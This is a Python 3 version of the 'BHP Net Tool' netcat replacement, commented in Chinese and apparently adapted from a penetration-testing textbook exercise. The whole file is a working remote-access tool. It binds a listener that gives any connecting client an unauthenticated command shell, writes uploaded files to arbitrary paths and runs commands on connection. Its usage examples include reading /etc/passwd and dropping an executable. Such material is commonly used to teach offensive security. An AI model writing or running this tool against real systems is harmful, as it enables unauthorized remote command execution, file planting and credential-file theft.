python版netcat

# -*- coding:UTF-8 -*-
import sys
import socket
import getopt
import threading
import subprocess
import time

# 定义全局变量
listen = False
command = False
execute = ""
target = ""
upload_destination = ""
port = 0


def usage(): # 帮助说明
    print("BHP Net Tool\n\n")
    print("Usage: nc.py -t target_host -p port")
    print(
        "-l --listen              \
        - listen on [host]:[port] for incoming connections")
    print("-e --execute=file_to_run  \
        -command execute the given file upon receiving a connection")
    print("-c --command              - initialize a command shell")
    print(
        "-u --upload=destination  \
         - upon receiving connection upload  \
         a file and write to [destination]\n\n")
    print("Examples: \n")
    print("bhpnet.py -t 192.168.0.1 -p 5555 -l -c")
    print("bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe")
    print("bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\"")
    print("echo 'ABCDEF' | nc.py -t 192.168.11.12 -p 135")
    sys.exit(0)


def server_loop():
    global target
    # 如果没有定义目标，那么我们监听所有接口
    if not len(target):
        target = "0.0.0.0"

    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind((target, port))

    server.listen(5)

    while True:
        client_socket, addr = server.accept()
        # 分拆一个线程处理新的客户端，client_socket返回一个socket对象（对应每个连接的对象）addr是具体的ip和端口
        try:
            client_thread = threading.Thread(
                target=client_handler, args=(client_socket,))
            client_thread.start()
        except Exception as e:
            print(e)


def client_sender(buffer):
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # socket对象

    try:
        # 连接到目标主机
        client.connect((target, port))
        client.settimeout(30)
        if len(buffer)!=0:
            client.send(buffer.encode())

        while True:

            # 现在等待数据回传
            recv_len = 1
            response = ""

            while recv_len:
                data = client.recv(4096).decode("utf-8")
                recv_len = len(data)
                response += data

                if recv_len < 4096:  # 一次接受4096个字节
                    break

            print("client: "+response.strip("\n"))

            # 等待更多输入
            buffer = "server: "
            buffer += input()
            buffer += "\n"

            # 发送出去
            client.send(buffer.encode())

    except Exception as e:
        print(e)
        print("[*] Exception! Exiting")
        # 关闭连接
        client.close()


def run_command(command):
    # 换行
    command = command.rstrip()
    # 运行命令并将输出返回
    try:
        output = subprocess.check_output(
            command, stderr=subprocess.STDOUT, shell=True, universal_newlines=True) # 命令执行模块
    except:
        output = "Failed to execute command.\r\n"
    # 将输出发送
    return output


def client_handler(client_socket):
    global execute
    global command

    # 检测上传文件
    if len(upload_destination):
        # 读取所有字符并写下目标
        file_buffer = ""

        # 持续读取数据直到没有符合的数据

        while True:
            data = client_socket.recv(1024).decode("utf-8")

            if not data:
                break
            else:
                file_buffer += data
            if "#" in file_buffer:
                file_buffer = file_buffer[:-2]
                break

        # 现在我们接收这些数据并将它们写出来
        try:
            file_descriptor = open(upload_destination, "wb")
            file_descriptor.write(file_buffer.encode())
            file_descriptor.close()

            # 确认文件已经写出来
            client_socket.send(b"Succesfully saved file") 
        except:
            client_socket.send(b"Failed to saved file")
        client_socket.close() 

    if len(execute):
        # 运行命令
        output = run_command(execute)
        client_socket.send(output.encode())

    # 如果需要一个命令行shell，那么我们进另一个循环
    if command:
        while True:
            # 跳出一个窗口
            client_socket.send(b"<BHP:#>: ")

            # 现在我们接受文件直到发现换行符(enter key)
            cmd_buffer = ""
            while "\n" not in cmd_buffer:
                cmd_buffer = client_socket.recv(1024).decode("gbk")
                # 反还命令输出
                response = run_command(cmd_buffer)

                # 返回相应数据
                client_socket.send(response.encode())  # python3中必须以BYTE流进行传输


def main():
    global listen  # 全局变量
    global port
    global execute
    global command
    global upload_destination
    global target
# getopt 模块，该模块是专门用来处理命令行参数的
    if not(len(sys.argv[1:])):  # sys.argv[0]代表脚本本身名称
        usage()
# 读取命令行
    try:
        opts, args = getopt.getopt(sys.argv[1:], "hle:t:p:cu:", [
                                   "help", "listen", "execute=", "target=", "port=", "command=", "upload="])
    except getopt.GetoptError as err:
        print(str(err))
        usage()

    for o, a in opts:
        if o in ("-h", "--help"):
            usage()
        elif o in ("-l", "--listen"):
            listen = True
        elif o in ("-e", "--execute"):
            execute = a
        elif o in ("-c", "--command"):
            command = True
        elif o in ("-u", "--upload"):
            upload_destination = a
        elif o in ("-t", "--target"):
            target = a
        elif o in ("-p", "--port"):
            port = int(a)
        else:
            assert False, "Unhandled Option"
            # assert相当于断点，根据后面的表达式的布尔值进行判断，如果错误输出之后的字符串信息。

    # 进行监听还是仅从标准输入发送数据？
    if not listen and len(target) and (port > 0):
        buffer = ""
        # 从命令行读取内存数据
        # 这里将会堵塞，所以不在向标准输入发送数据时发送CTRL+D·
        buffer = input() + '\n'

        # 发送数据
        client_sender(buffer)

    # 开始监听并准备上传文件、执行命令
    # 放置一个反弹SHELL
    # 取决于上面的命令选项
    if listen:
        server_loop()


if __name__ == '__main__':
    main()